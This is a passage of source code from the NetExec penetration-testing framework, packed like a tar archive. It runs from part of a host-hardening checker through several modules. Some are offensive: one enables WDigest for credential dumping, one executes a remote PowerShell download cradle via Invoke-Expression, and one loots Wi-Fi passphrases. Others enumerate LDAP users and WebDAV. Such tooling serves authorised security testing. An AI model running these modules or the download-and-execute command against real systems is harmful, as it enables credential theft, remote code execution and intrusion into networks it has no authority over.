"DisableScriptScanning", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableScriptScanning", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]), ConfigCheck("Defender no path exclusions", "Checks Defender path exclusion", checkers=[self.check_defender_exclusion], checker_args=[("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Paths", "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths")]), ConfigCheck("Defender no extension exclusions", "Checks Defender extension exclusion", checkers=[self.check_defender_exclusion], checker_args=[("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Extensions", "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Extensions")]) ] # Add check to conf_checks table if missing db_checks = self.connection.db.get_checks() [check._asdict()["name"].strip().lower() for check in db_checks] added = [] for i, check in enumerate(self.checks): check.connection = self.connection missing = True for db_check in db_checks: db_check = db_check._asdict() if check.name.strip().lower() == db_check["name"].strip().lower(): missing = False self.checks[i].check_id = db_check["id"] break if missing: self.connection.db.add_check(check.name, check.description) added.append(check) # Update check_id for checks added to the db db_checks = self.connection.db.get_checks() for i, check in enumerate(added): check_id = None for db_check in db_checks: db_check = db_check._asdict() if db_check["name"].strip().lower() == check.name.strip().lower(): check_id = db_check["id"] break added[i].check_id = check_id def check_config(self): # Get host ID from db host_id = None hosts = self.connection.db.get_hosts(self.connection.host) for host in hosts: host = host._asdict() if host["ip"] == self.connection.host and host["hostname"] == self.connection.hostname and host["domain"] == self.connection.domain: host_id = host["id"] break # Perform all the checks and store the results for check in self.checks: try: check.run() except Exception as e: self.context.log.error(f"HostChecker.check_config(): Error while performing check {check.name}: {e}") check.log(self.context) self.module.add_result(self.connection.host, check) if host_id is not None: self.connection.db.add_check_result(host_id, check.check_id, check.ok, ", ".join(check.reasons).replace("\x00", "")) def check_registry(self, *specs, options=None, stop_on_error=False): """ Perform checks that only require to compare values in the registry with expected values, according to the specs a spec may be either a 3-tuple: (key name, value name, expected value), or a 4-tuple (key name, value name, expected value, operation), where operation is a function that implements a comparison operator """ if options is None: options = {} default_options = {"lastWins": False, "stopOnOK": False, "stopOnKO": False, "KOIfMissing": True} default_options.update(options) options = default_options op = operator.eq ok = True reasons = [] for spec in specs: try: if len(spec) == 3: (key, value_name, expected_value) = spec op = operator.eq elif len(spec) == 4: (key, value_name, expected_value, op) = spec else: ok = False reasons = ["Check could not be performed (invalid specification provided)"] return ok, reasons except Exception as e: self.context.log.error(f"Check could not be performed. Details: specs={specs}, dce={self.dce}, error: {e}") return ok, reasons if op == operator.eq: opstring = "{left} == {right}" nopstring = "{left} != {right}" elif op == operator.contains: opstring = "{left} in {right}" nopstring = "{left} not in {right}" elif op == operator.gt: opstring = "{left} > {right}" nopstring = "{left} <= {right}" elif op == operator.ge: opstring = "{left} >= {right}" nopstring = "{left} < {right}" elif op == operator.lt: opstring = "{left} < {right}" nopstring = "{left} >= {right}" elif op == operator.le: opstring = "{left} <= {right}" nopstring = "{left} > {right}" elif op == operator.ne: opstring = "{left} != {right}" nopstring = "{left} == {right}" else: opstring = f"{op.__name__}({{left}}, {{right}}) == True" nopstring = f"{op.__name__}({{left}}, {{right}}) == True" value = self.reg_query_value(self.dce, self.connection, key, value_name) if isinstance(value, DCERPCSessionError): if options["KOIfMissing"]: ok = False if value.error_code in (ERROR_NO_MORE_ITEMS, ERROR_FILE_NOT_FOUND): reasons.append(f"{key}: Key not found") elif value.error_code == ERROR_OBJECT_NOT_FOUND: reasons.append(f"{value_name}: Value not found") else: ok = False reasons.append(f"Error while retrieving value of {key}\\{value_name}: {value}") if stop_on_error: ok = None return ok, reasons continue if op(value, expected_value): if options["lastWins"]: ok = True reasons.append(opstring.format(left=f"{key}\\{value_name} ({value})", right=expected_value)) else: reasons.append(nopstring.format(left=f"{key}\\{value_name} ({value})", right=expected_value)) ok = False if ok and options["stopOnOK"]: break if not ok and options["stopOnKO"]: break return ok, reasons def check_laps(self): reasons = [] success = False lapsv2_ad_key_name = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\LAPS" lapsv2_aad_key_name = "Software\\Microsoft\\Policies\\LAPS" # Checking LAPSv2 ans = self._open_root_key(self.dce, self.connection, "HKLM") if ans is None: return False, ["Could not query remote registry"] root_key_handle = ans["phKey"] try: ans = rrp.hBaseRegOpenKey(self.dce, root_key_handle, lapsv2_ad_key_name) reasons.append(f"HKLM\\{lapsv2_ad_key_name} found, LAPSv2 AD installed") success = True return success, reasons except DCERPCSessionError as e: if e.error_code != ERROR_FILE_NOT_FOUND: reasons.append(f"HKLM\\{lapsv2_ad_key_name} not found") try: ans = rrp.hBaseRegOpenKey(self.dce, root_key_handle, lapsv2_aad_key_name) reasons.append(f"HKLM\\{lapsv2_aad_key_name} found, LAPSv2 AAD installed") success = True return success, reasons except DCERPCSessionError as e: if e.error_code != ERROR_FILE_NOT_FOUND: reasons.append(f"HKLM\\{lapsv2_aad_key_name} not found") # LAPSv2 does not seems to be installed, checking LAPSv1 lapsv1_key_name = "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\GPextensions" subkeys = self.reg_get_subkeys(self.dce, self.connection, lapsv1_key_name) laps_path = "\\Program Files\\LAPS\\CSE" for subkey in subkeys: value = self.reg_query_value(self.dce, self.connection, lapsv1_key_name + "\\" + subkey, "DllName") if isinstance(value, str) and "laps\\cse\\admpwd.dll" in value.lower(): reasons.append(f"{lapsv1_key_name}\\...\\DllName matches AdmPwd.dll") success = True laps_path = "\\".join(value.split("\\")[1:-1]) break if not success: reasons.append(f"No match found in {lapsv1_key_name}\\...\\DllName") file_listing = self.ls(self.connection, laps_path) if file_listing: reasons.append("Found LAPS folder at " + laps_path) else: success = False reasons.append("LAPS folder does not exist") return success, reasons file_listing = self.ls(self.connection, laps_path + "\\AdmPwd.dll") if file_listing: reasons.append(f"Found {laps_path}\\AdmPwd.dll") else: success = False reasons.append(f"{laps_path}\\AdmPwd.dll not found") return success, reasons def check_last_successful_update(self): records = self.connection.wmi_query(wql="Select TimeGenerated FROM Win32_ReliabilityRecords Where EventIdentifier=19", namespace="root\\cimv2") if not records: return False, ["No update found"] most_recent_update_date = records[0]["TimeGenerated"]["value"] most_recent_update_date = most_recent_update_date.split(".")[0] most_recent_update_date = time.strptime(most_recent_update_date, "%Y%m%d%H%M%S") most_recent_update_date = time.mktime(most_recent_update_date) now = time.time() days_since_last_update = (now - most_recent_update_date) // 86400 if days_since_last_update <= OUTDATED_THRESHOLD: return True, [f"Last update was {days_since_last_update} <= {OUTDATED_THRESHOLD} days ago"] else: return False, [f"Last update was {days_since_last_update} > {OUTDATED_THRESHOLD} days ago"] def check_administrator_name(self): user_info = self.get_user_info(self.connection, rid=500) name = user_info["UserName"] ok = name not in ("Administrator", "Administrateur") reasons = [f"Administrator name changed to {name}" if ok else "Administrator name unchanged"] return ok, reasons def check_guest_account_disabled(self): user_info = self.get_user_info(self.connection, rid=501) uac = user_info["UserAccountControl"] disabled = bool(uac & samr.USER_ACCOUNT_DISABLED) reasons = ["Guest account disabled" if disabled else "Guest account enabled"] return disabled, reasons def check_spooler_service(self): ok = False service_config, service_status = self.get_service("Spooler", self.connection) if service_config["dwStartType"] == scmr.SERVICE_DISABLED: ok = True reasons = ["Spooler service disabled"] else: reasons = ["Spooler service enabled"] if service_status == scmr.SERVICE_RUNNING: reasons.append("Spooler service running") elif service_status == scmr.SERVICE_STOPPED: ok = True reasons.append("Spooler service not running") return ok, reasons def check_wsus_running(self): ok = True reasons = [] service_config, service_status = self.get_service("wuauserv", self.connection) if service_config["dwStartType"] == scmr.SERVICE_DISABLED: reasons = ["WSUS service disabled"] elif service_status != scmr.SERVICE_RUNNING: reasons = ["WSUS service not running"] return ok, reasons def check_nbtns(self): adapters_key = "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4d36e972-e325-11ce-bfc1-08002be10318}" key_name = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\NetBT\\Parameters\\Interfaces" subkeys = self.reg_get_subkeys(self.dce, self.connection, key_name) success = False reasons = [] missing = 0 nbtns_enabled = 0 for subkey in subkeys: # Ignore Microsoft Kernel Debug Network Adapter kdnic_key = adapters_key + "\\0000" kdnic_uuid = self.reg_query_value(self.dce, self.connection, kdnic_key, "NetCfgInstanceId") if subkey.lower() == ("Tcpip_" + kdnic_uuid).replace("\x00", "").lower(): continue value = self.reg_query_value(self.dce, self.connection, key_name + "\\" + subkey, "NetbiosOptions") if isinstance(value, DCERPCSessionError): if value.error_code == ERROR_OBJECT_NOT_FOUND: missing += 1 continue if value != 2: nbtns_enabled += 1 if missing > 0: reasons.append(f"HKLM\\SYSTEM\\CurrentControlSet\\Services\\NetBT\\Parameters\\Interfaces\\\\NetbiosOption: value not found on {missing} interfaces") if nbtns_enabled > 0: reasons.append(f"NBTNS enabled on {nbtns_enabled} interfaces out of {len(subkeys)}") if missing == 0 and nbtns_enabled == 0: success = True reasons.append("NBTNS disabled on all interfaces") return success, reasons def check_applocker(self): key_name = "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2" subkeys = self.reg_get_subkeys(self.dce, self.connection, key_name) rule_count = 0 for collection in subkeys: collection_key_name = key_name + "\\" + collection rules = self.reg_get_subkeys(self.dce, self.connection, collection_key_name) rule_count += len(rules) success = rule_count > 0 reasons = [f"Found {rule_count} AppLocker rules defined"] return success, reasons def get_exclusions(self, key_name): exclusions = [] try: values = self.reg_query_value(self.dce, self.connection, key_name, valueName=None, all_value=True) for _, value_name, _ in values: exclusions.append(value_name) except Exception: self.context.log.debug("No defender exclusion policies") return len(exclusions), exclusions def check_defender_exclusion(self, *spec, options=None): try: if len(spec) == 2: (policy_key_name, key_name) = spec else: ok = False reasons = ["Check could not be performed (invalid specification provided)"] return ok, reasons except Exception as e: self.context.log.error(f"Check could not be performed. Details: spec={spec}, dce={self.dce}, error: {e}") return ok, reasons reasons = [] success = True count, exclusions_p = self.get_exclusions(policy_key_name) reasons = [f"Policy: [{', '.join(exclusions_p)}]"] count_k, exclusions_k = self.get_exclusions(key_name) reasons.append(f"Manual: [{', '.join(exclusions_k)}]") count += count_k if count > 0: success = False return success, reasons def check_defender_service(self): ok = True raised = False reasons = [] try: service_config, service_status = self.get_service("windefend", self.connection) if service_status == scmr.SERVICE_RUNNING: reasons.append("windefend service running") elif service_status == scmr.SERVICE_STOPPED: ok = False reasons.append("windefend service not running") except DCERPCException as e: ok = True raised = True reasons = [f"windefend service check error({e})"] if ok is False or raised is True: try: service_config, service_status = self.get_service("sense", self.connection) if service_status == scmr.SERVICE_RUNNING: reasons.append("sense service running") elif service_status == scmr.SERVICE_STOPPED: ok = False reasons.append("sense service not running") except DCERPCException as e: ok = True raised = True reasons.append(f"sense service check error({e})") if raised is True: reasons_save = reasons args = ("HKLM\\SOFTWARE\\Microsoft\\Windows Defender", "IsServiceRunning", 1) ok, reasons = self.check_registry(args) reasons.extend(reasons_save) return ok, reasons def _open_root_key(self, dce, connection, root_key): ans = None retries = 1 opener = {"HKLM": rrp.hOpenLocalMachine, "HKCR": rrp.hOpenClassesRoot, "HKU": rrp.hOpenUsers, "HKCU": rrp.hOpenCurrentUser, "HKCC": rrp.hOpenCurrentConfig} while retries > 0: try: ans = opener[root_key.upper()](dce) break except KeyError: self.context.log.error(f"HostChecker._open_root_key():{connection.host}: Invalid root key. Must be one of HKCR, HKCC, HKCU, HKLM or HKU") break except Exception as e: self.context.log.error(f"HostChecker._open_root_key():{connection.host}: Error while trying to open {root_key.upper()}: {e}") if "Broken pipe" in e.args: self.context.log.error("Retrying") retries -= 1 return ans def reg_get_subkeys(self, dce, connection, key_name): root_key, subkey = key_name.split("\\", 1) ans = self._open_root_key(dce, connection, root_key) subkeys = [] if ans is None: return subkeys root_key_handle = ans["phKey"] try: ans = rrp.hBaseRegOpenKey(dce, root_key_handle, subkey) except DCERPCSessionError as e: if e.error_code != ERROR_FILE_NOT_FOUND: self.context.log.error(f"HostChecker.reg_get_subkeys(): Could not retrieve subkey {subkey}: {e}\n") return subkeys except Exception as e: self.context.log.error(f"HostChecker.reg_get_subkeys(): Error while trying to retrieve subkey {subkey}: {e}\n") return subkeys subkey_handle = ans["phkResult"] i = 0 while True: try: ans = rrp.hBaseRegEnumKey(dce=dce, hKey=subkey_handle, dwIndex=i) subkeys.append(ans["lpNameOut"][:-1]) i += 1 except DCERPCSessionError: break return subkeys def reg_query_value(self, dce, connection, keyName, valueName=None, all_value=False): """Query remote registry data for a given registry value""" def subkey_values(subkey_handle): dw_index = 0 while True: try: value_type, value_name, value_data = get_value(subkey_handle, dw_index) yield value_type, value_name, value_data dw_index += 1 except DCERPCSessionError as e: if e.error_code == ERROR_NO_MORE_ITEMS: break else: self.context.log.error(f"HostChecker.reg_query_value()->sub_key_values(): Received error code {e.error_code}") return def get_value(subkey_handle, dwIndex=0): ans = rrp.hBaseRegEnumValue(dce=dce, hKey=subkey_handle, dwIndex=dwIndex) value_type = ans["lpType"] value_name = ans["lpValueNameOut"] value_data = ans["lpData"] # Do any conversion necessary depending on the registry value type if value_type in (REG_VALUE_TYPE_UNICODE_STRING, REG_VALUE_TYPE_UNICODE_STRING_WITH_ENV, REG_VALUE_TYPE_UNICODE_STRING_SEQUENCE): value_data = b"".join(value_data).decode("utf-16") else: value_data = b"".join(value_data) if value_type in (REG_VALUE_TYPE_32BIT_LE, REG_VALUE_TYPE_64BIT_LE): value_data = int.from_bytes(value_data, "little") elif value_type == REG_VALUE_TYPE_32BIT_BE: value_data = int.from_bytes(value_data, "big") return value_type, value_name[:-1], value_data try: root_key, subkey = keyName.split("\\", 1) except ValueError: self.context.log.error(f"HostChecker.reg_query_value(): Could not split keyname {keyName}") ans = self._open_root_key(dce, connection, root_key) if ans is None: return ans root_key_handle = ans["phKey"] try: ans = rrp.hBaseRegOpenKey(dce, root_key_handle, subkey) except DCERPCSessionError as e: if e.error_code == ERROR_FILE_NOT_FOUND: return e subkey_handle = ans["phkResult"] if valueName is None and all_value is False: return get_value(subkey_handle)[2] elif valueName is None and all_value is True: return subkey_values(subkey_handle) else: for _, name, data in subkey_values(subkey_handle): if name.upper() == valueName.upper(): return data return DCERPCSessionError(error_code=ERROR_OBJECT_NOT_FOUND) def get_service(self, service_name, connection): """Get the service status and configuration for specified service""" remoteOps = RemoteOperations(smbConnection=connection.conn, doKerberos=False) machine_name, _ = remoteOps.getMachineNameAndDomain() remoteOps._RemoteOperations__connectSvcCtl() dce = remoteOps._RemoteOperations__scmr scm_handle = scmr.hROpenSCManagerW(dce, machine_name)["lpScHandle"] service_handle = scmr.hROpenServiceW(dce, scm_handle, service_name)["lpServiceHandle"] service_config = scmr.hRQueryServiceConfigW(dce, service_handle)["lpServiceConfig"] service_status = scmr.hRQueryServiceStatus(dce, service_handle)["lpServiceStatus"]["dwCurrentState"] remoteOps.finish() return service_config, service_status def get_user_info(self, connection, rid=501): """Get user information for the user with the specified RID""" remote_ops = RemoteOperations(smbConnection=connection.conn, doKerberos=False) machine_name, domain_name = remote_ops.getMachineNameAndDomain() try: remote_ops.connectSamr(machine_name) except samr.DCERPCSessionError: # If connecting to machine_name didn't work, it's probably because # we're dealing with a domain controller, so we need to use the # actual domain name instead of the machine name, because DCs don't # use the SAM remote_ops.connectSamr(domain_name) dce = remote_ops._RemoteOperations__samr domain_handle = remote_ops._RemoteOperations__domainHandle user_handle = samr.hSamrOpenUser(dce, domain_handle, userId=rid)["UserHandle"] user_info = samr.hSamrQueryInformationUser2(dce, user_handle, samr.USER_INFORMATION_CLASS.UserAllInformation) user_info = user_info["Buffer"]["All"] remote_ops.finish() return user_info def ls(self, smb, path="\\", share="C$"): file_listing = [] try: file_listing = smb.conn.listPath(share, path) except SMBSessionError as e: if e.getErrorString()[0] not in ("STATUS_NO_SUCH_FILE", "STATUS_OBJECT_NAME_NOT_FOUND"): self.context.log.error(f"ls(): C:\\{path} {e.getErrorString()}") except Exception as e: self.context.log.error(f"ls(): C:\\{path} {e}\n") return file_listing def le(reg_sz_string, number): return int(reg_sz_string[:-1]) <= number def in_(obj, seq): return obj in seq def startswith(string, start): return string.startswith(start) def not_(boolean_operator): def wrapper(*args, **kwargs): return not boolean_operator(*args, **kwargs) wrapper.__name__ = f"not_{boolean_operator.__name__}" return wrapper NetExec-1.5.1/nxc/modules/wdigest.py000066400000000000000000000122301514706431700173370ustar00rootroot00000000000000from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations from sys import exit import contextlib from nxc.helpers.misc import CATEGORY class NXCModule: name = "wdigest" description = "Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1" supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """ACTION Create/Delete the registry key (choices: enable, disable, check)""" if "ACTION" not in module_options: context.log.fail("ACTION option not specified!") exit(1) if module_options["ACTION"].lower() not in ["enable", "disable", "check"]: context.log.fail("Invalid value for ACTION option!") exit(1) self.action = module_options["ACTION"].lower() def on_admin_login(self, context, connection): if self.action == "enable": self.wdigest_enable(context, connection.conn) elif self.action == "disable": self.wdigest_disable(context, connection.conn) elif self.action == "check": self.wdigest_check(context, connection.conn) def wdigest_enable(self, context, smbconnection): remote_ops = RemoteOperations(smbconnection, False) remote_ops.enableRegistry() if remote_ops._RemoteOperations__rrp: ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) reg_handle = ans["phKey"] ans = rrp.hBaseRegOpenKey( remote_ops._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", ) key_handle = ans["phkResult"] rrp.hBaseRegSetValue( remote_ops._RemoteOperations__rrp, key_handle, "UseLogonCredential\x00", rrp.REG_DWORD, 1, ) rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseLogonCredential\x00") if int(data) == 1: context.log.success("UseLogonCredential registry key created successfully") with contextlib.suppress(Exception): remote_ops.finish() def wdigest_disable(self, context, smbconnection): remote_ops = RemoteOperations(smbconnection, False) remote_ops.enableRegistry() if remote_ops._RemoteOperations__rrp: ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) reg_handle = ans["phKey"] ans = rrp.hBaseRegOpenKey( remote_ops._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", ) keyHandle = ans["phkResult"] try: rrp.hBaseRegDeleteValue( remote_ops._RemoteOperations__rrp, keyHandle, "UseLogonCredential\x00", ) except Exception: context.log.success("UseLogonCredential registry key not present") with contextlib.suppress(Exception): remote_ops.finish() return try: # Check to make sure the reg key is actually deleted rtype, data = rrp.hBaseRegQueryValue( remote_ops._RemoteOperations__rrp, keyHandle, "UseLogonCredential\x00", ) except DCERPCException: context.log.success("UseLogonCredential registry key deleted successfully") with contextlib.suppress(Exception): remote_ops.finish() def wdigest_check(self, context, smbconnection): remote_ops = RemoteOperations(smbconnection, False) remote_ops.enableRegistry() if remote_ops._RemoteOperations__rrp: ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) reg_handle = ans["phKey"] ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest") key_handle = ans["phkResult"] try: rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseLogonCredential\x00") if int(data) == 1: context.log.success("UseLogonCredential registry key is enabled") else: context.log.fail(f"Unexpected registry value for UseLogonCredential: {data}") except DCERPCException as d: if "winreg.HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest" in str(d): context.log.fail("UseLogonCredential registry key is disabled (registry key not found)") else: context.log.fail("UseLogonCredential registry key not present") with contextlib.suppress(Exception): remote_ops.finish() NetExec-1.5.1/nxc/modules/web_delivery.py000066400000000000000000000033721514706431700203600ustar00rootroot00000000000000from sys import exit from nxc.helpers.misc import CATEGORY class NXCModule: """ Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module Reference: https://github.com/EmpireProject/Empire/blob/2.0_beta/data/module_source/code_execution/Invoke-MetasploitPayload.ps1 Module by @byt3bl33d3r """ name = "web_delivery" description = "Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module" supported_protocols = ["smb", "mssql"] category = CATEGORY.PRIVILEGE_ESCALATION def options(self, context, module_options): """ URL URL for the download cradle PAYLOAD Payload architecture (choices: 64 or 32) Default: 64 """ if "URL" not in module_options: context.log.fail("URL option is required!") exit(1) self.url = module_options["URL"] self.payload = "64" if "PAYLOAD" in module_options: if module_options["PAYLOAD"] not in ["64", "32"]: context.log.fail("Invalid value for PAYLOAD option!") exit(1) self.payload = module_options["PAYLOAD"] def on_admin_login(self, context, connection): ps_command = f"""[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{self.url}');""" if self.payload == "32": connection.ps_execute(ps_command, force_ps32=True) else: connection.ps_execute(ps_command, force_ps32=False) context.log.success("Executed web-delivery launcher") NetExec-1.5.1/nxc/modules/webdav.py000066400000000000000000000043131514706431700171440ustar00rootroot00000000000000from nxc.helpers.misc import CATEGORY from nxc.protocols.smb.remotefile import RemoteFile from impacket import nt_errors from impacket.smb3structs import FILE_READ_DATA from impacket.smbconnection import SessionError from impacket.nmb import NetBIOSError import contextlib class NXCModule: """ Enumerate whether the WebClient service is running on the target by looking for the DAV RPC Service pipe. This technique was first suggested by Lee Christensen (@tifkin_) Module by Tobias Neitzel (@qtc_de) Modified by @azoxlpf to handle transport errors gracefully and avoid session crash """ name = "webdav" description = "Checks whether the WebClient service is running on the target" supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def options(self, context, module_options): """MSG Info message when the WebClient service is running. '{}' is replaced by the target.""" self.output = "WebClient Service enabled on: {}" if "MSG" in module_options: self.output = module_options["MSG"] def on_login(self, context, connection): """ Check whether the 'DAV RPC Service' pipe exists within the 'IPC$' share. This indicates that the WebClient service is running on the target. """ try: remote_file = RemoteFile(connection.conn, "DAV RPC Service", "IPC$", access=FILE_READ_DATA) remote_file.open_file() context.log.highlight(self.output.format(connection.conn.getRemoteHost())) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_OBJECT_NAME_NOT_FOUND: return elif e.getErrorCode() in nt_errors.ERROR_MESSAGES: context.log.fail(f"Error enumerating WebDAV: {e.getErrorString()[0]}", color="magenta") else: context.log.debug(f"WebDAV SessionError (code={hex(e.getErrorCode())})") except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e: context.log.debug(f"WebDAV check aborted due to transport error: {e.__class__.__name__}: {e}") finally: with contextlib.suppress(Exception): remote_file.close() NetExec-1.5.1/nxc/modules/whoami.py000066400000000000000000000125471514706431700171700ustar00rootroot00000000000000import datetime from nxc.helpers.misc import CATEGORY from nxc.parsers.ldap_results import parse_result_attributes class NXCModule: """ Basic enumeration of provided user information and privileges Module by spyr0 (@spyr0-sec) """ name = "whoami" description = "Get details of provided user" supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION def options(self, context, module_options): """USER Enumerate information about a different SamAccountName""" self.username = None if "USER" in module_options: self.username = module_options["USER"] def on_login(self, context, connection): searchBase = connection.ldap_connection._baseDN searchFilter = f"(sAMAccountName={connection.username})" if self.username is None else f"(sAMAccountName={format(self.username)})" context.log.debug(f"Using naming context: {searchBase} and {searchFilter} as search filter") # Get attributes of provided user r = connection.ldap_connection.search( searchBase=searchBase, searchFilter=searchFilter, attributes=[ "name", "sAMAccountName", "description", "distinguishedName", "pwdLastSet", "logonCount", "lastLogon", "userAccountControl", "servicePrincipalName", "userPrincipalName", "objectSid", "mail", "badPwdCount", "memberOf", ], sizeLimit=999, ) resp_parsed = parse_result_attributes(r) for response in resp_parsed: # Process name if "name" in response: context.log.highlight(f"Name: {response['name']}") # Process Description if "description" in response: context.log.highlight(f"Description: {response['description']}") # Process sAMAccountName if "sAMAccountName" in response: context.log.highlight(f"sAMAccountName: {response['sAMAccountName']}") # Process userAccountControl if "userAccountControl" in response: uac = int(response["userAccountControl"]) ACCOUNTDISABLE = 0x0002 DONT_EXPIRE_PASSWORD = 0x10000 is_disabled = (uac & ACCOUNTDISABLE) != 0 password_never_expires = (uac & DONT_EXPIRE_PASSWORD) != 0 context.log.highlight(f"Enabled: {'No' if is_disabled else 'Yes'}") context.log.highlight(f"Password Never Expires: {'Yes' if password_never_expires else 'No'}") # Process User PrincipalName if "userPrincipalName" in response: context.log.highlight(f"User Principal Name: {response['userPrincipalName']}") # Process mail if "mail" in response: context.log.highlight(f"Email: {response['mail']}") # Process lastLogon if "lastLogon" in response: filetime_str = response["lastLogon"] filetime_int = int(filetime_str) if filetime_int == 0: context.log.highlight("Last logon: Never") else: dt = datetime.datetime(1601, 1, 1) + datetime.timedelta(microseconds=filetime_int / 10) context.log.highlight(f"Last logon: {dt.strftime('%Y-%m-%d %H:%M:%S')} UTC") # Process pwdLastSet if "pwdLastSet" in response: filetime_str = response["pwdLastSet"] filetime_int = int(filetime_str) if filetime_int == 0: context.log.highlight("Password Last Set: Never") else: dt = datetime.datetime(1601, 1, 1) + datetime.timedelta(microseconds=filetime_int / 10) context.log.highlight(f"Password Last Set: {dt.strftime('%Y-%m-%d %H:%M:%S')} UTC") # Process Bad Password Count if "badPwdCount" in response: context.log.highlight(f"Bad Password Count: {response['badPwdCount']}") # Process servicePrincipalName if "servicePrincipalName" in response: context.log.highlight("Service Account Name(s) found - Potentially Kerberoastable user!") spns = response["servicePrincipalName"] if isinstance(spns, list): for spn in spns: context.log.highlight(f"Service Account Name: {spn}") else: context.log.highlight(f"Service Account Name: {spns}") # Process DistinguishedName if "distinguishedName" in response: context.log.highlight(f"Distinguished Name: {response['distinguishedName']}") # Process memberOf if "memberOf" in response: groups = response["memberOf"] if isinstance(groups, list): for group in groups: context.log.highlight(f"Member of: {group}") else: context.log.highlight(f"Member of: {groups}") # Process User Sid if "objectSid" in response: context.log.highlight(f"User SID: {response['objectSid']}") NetExec-1.5.1/nxc/modules/wifi.py000066400000000000000000000064131514706431700166350ustar00rootroot00000000000000from dploot.lib.target import Target from dploot.triage.wifi import WifiTriage from nxc.helpers.logger import highlight from nxc.helpers.misc import CATEGORY from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, upgrade_to_dploot_connection class NXCModule: name = "wifi" description = "Get key of all wireless interfaces" supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """No options available""" def on_admin_login(self, context, connection): username = connection.username password = getattr(connection, "password", "") nthash = getattr(connection, "nthash", "") target = Target.create( domain=connection.domain, username=username, password=password, target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, lmhash=getattr(connection, "lmhash", ""), nthash=nthash, do_kerberos=connection.kerberos, aesKey=connection.aesKey, no_pass=True, use_kcache=getattr(connection, "use_kcache", False), ) conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) if conn is None: context.log.debug("Could not upgrade connection") return masterkeys = collect_masterkeys_from_target(connection, target, conn, user=False) if len(masterkeys) == 0: context.log.fail("No masterkeys looted") return context.log.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting Wifi interfaces") try: # Collect Chrome Based Browser stored secrets wifi_triage = WifiTriage(target=target, conn=conn, masterkeys=masterkeys) wifi_creds = wifi_triage.triage_wifi() except Exception as e: context.log.debug(f"Error while looting wifi: {e}") for wifi_cred in wifi_creds: if wifi_cred.auth.upper() == "OPEN": context.log.highlight(f"[OPEN] {wifi_cred.ssid}") elif wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]: try: context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}") except Exception: context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}") elif wifi_cred.auth.upper() in ["WPA", "WPA2"]: try: if self.eap_username is not None and self.eap_password is not None: context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}") else: context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}") except Exception: context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}") else: context.log.highlight(f"[WPA-EAP] {wifi_cred.ssid} - {wifi_cred.eap_type}") NetExec-1.5.1/nxc/modules/winscp.py000066400000000000000000000461351514706431700172070ustar00rootroot00000000000000# If you are looking for a local Version, the baseline code is from https://github.com/NeffIsBack/WinSCPPasswdExtractor # References and inspiration: # - https://github.com/anoopengineer/winscppasswd # - https://github.com/dzxs/winscppassword # - https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/parser/winscp.rb import traceback from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations from impacket.smbconnection import SessionError from urllib.parse import unquote from io import BytesIO import re import configparser from nxc.helpers.misc import CATEGORY class NXCModule: """Module by @NeffIsBack""" name = "winscp" description = "Looks for WinSCP.ini files in the registry and default locations and tries to extract credentials." supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): 